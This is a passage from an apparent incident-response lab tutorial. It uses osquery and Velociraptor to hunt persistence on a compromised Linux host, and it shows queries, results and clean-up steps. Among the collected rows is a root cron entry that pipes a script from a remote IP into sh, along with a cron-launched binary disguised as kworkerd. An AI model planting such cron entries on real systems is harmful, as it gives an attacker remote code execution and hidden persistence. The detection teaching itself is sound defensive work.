{"Path":"/uploads/auto/etc/cron.daily/apt-compat","Size":1478}
{"Path":"/uploads/auto/etc/cron.daily/dpkg","Size":123}
{"Path":"/uploads/auto/home/svc-backup/%2Essh/authorized_keys","Size":200}
{"Path":"/uploads/auto/root/%2Essh/authorized_keys","Size":100}
{"User":"root","Command":"curl -fsSL http://198.51.100.23/u.sh | sh","Path":"/etc/cron.d/dbus-update"}
{"User":"root","Command":"test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/aarch64-linux-gnu/e2fsprogs/e2scrub_all_cron","Path":"/etc/cron.d/e2scrub_all"}
{"User":"root","Command":"test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r","Path":"/etc/cron.d/e2scrub_all"}
{"User":"root","Command":"/var/tmp/.font-cache/kworkerd","Path":"/etc/cron.d/logrotate-fix"}

The files the artifacts uploaded sit under uploads/, and each artifact's rows are under results/ as JSON lines, with any / in a source name written as %2F and a dot that starts a file name as %2E. When you are done, remove the lab from a terminal on your machine:

docker rm -f csoh-osq-vm csoh-osq-dockerd csoh-osq-analyst
docker volume rm csoh-osq-dsock
rm -f Collector_velociraptor-collector Collection-web-01.zip

Hands-on exercises

Each needs the lab from the walk-through, before the clean-up block.

SELECT p.pid, p.name, h.sha256
FROM processes p JOIN hash h ON h.path = '/proc/' || p.pid || '/exe'
WHERE p.on_disk = 0;

SELECT path FROM hash
WHERE directory = '/usr/bin'
  AND sha256 = (SELECT h.sha256 FROM processes p
                JOIN hash h ON h.path = '/proc/' || p.pid || '/exe'
                WHERE p.on_disk = 0);

+------+----------+------------------------------------------------------------------+
| pid  | name     | sha256                                                           |
+------+----------+------------------------------------------------------------------+
| 2531 | kworkerd | 32b632e848ac6d106042c9628ea5ba3c558791e8bbad3c0b89bd5483e9abcb77 |
+------+----------+------------------------------------------------------------------+
+---------------------+
| path                |
+---------------------+
| /usr/bin/perl5.38.2 |
| /usr/bin/perl       |
+---------------------+

SELECT u.username,
       EXISTS (SELECT 1 FROM user_groups ug JOIN groups g ON g.gid = ug.gid
               WHERE ug.uid = u.uid AND g.groupname = 'sudo') AS in_sudo,
       (SELECT count(*) FROM authorized_keys k WHERE k.uid = u.uid) AS keys
FROM users u
WHERE u.shell NOT LIKE '%nologin' AND u.shell NOT LIKE '%false' AND u.shell != '/bin/sync';

+------------+---------+------+
| username   | in_sudo | keys |
+------------+---------+------+
| root       | 0       | 1    |
| ubuntu     | 1       | 0    |
| svc-backup | 1       | 2    |
+------------+---------+------+

SELECT Mtime, OSPath
FROM glob(globs=["/etc/cron.d/**", "/etc/systemd/system/**", "{/root,/home/*}/.ssh/**"])
WHERE NOT IsDir AND Mtime > now() - 86400
ORDER BY Mtime DESC

{"Mtime":"2026-11-05T01:10:30.333106169Z","OSPath":"/etc/cron.d/logrotate-fix"}
{"Mtime":"2026-11-05T01:10:30.333106169Z","OSPath":"/home/svc-backup/.ssh/authorized_keys"}
{"Mtime":"2026-11-05T01:05:18.905124803Z","OSPath":"/etc/systemd/system/multi-user.target.wants/font-cache.service"}
{"Mtime":"2026-11-05T01:05:18.904612303Z","OSPath":"/etc/systemd/system/font-cache.service"}
{"Mtime":"2026-11-05T01:05:18.902415886Z","OSPath":"/etc/cron.d/dbus-update"}
{"Mtime":"2026-11-05T01:05:18.900394011Z","OSPath":"/root/.ssh/authorized_keys"}

Common mistakes

• Querying authorized_keys or shell_history without joining users. You get the current user's rows and nobody else's.
• Trusting an empty result from a non-root osquery. Paths, deleted-binary checks, listener owners and other users' files all go quiet.
• Reading an empty docker_containers as "no containers". Check the socket path first. Rootless Docker puts its socket elsewhere; --docker_socket points osquery at it.
• Putting ec2_instance_metadata in a schedule that runs inside containers. With a hop limit of 1, each run spends minutes retrying, and where IMDSv2 is required it returns a blank row.
• Expecting event tables in osqueryi, or expecting them to hold the past. They need the daemon, and they start recording when it starts.
• Copying VQL written for Windows onto Linux. An accessor="ntfs" or a C:\ path returns nothing on Linux without a word. Run new queries with -v once.
• Leaving the accessor off when reading a collection. The query reads your workstation, and its rows look real.
• Running an artifact on its defaults without reading it. velociraptor artifacts show is the documentation, the defaults and the query in one place.
• Collecting into an unencrypted zip outside a lab. The zip carries keys, history and anything else the artifacts uploaded.
• Forgetting that the tools change the machine. osqueryi creates ~/.osquery, the collector writes its zip and log, and your shell appends to its history. Take a disk snapshot through the cloud provider before you start, and note what you ran and when.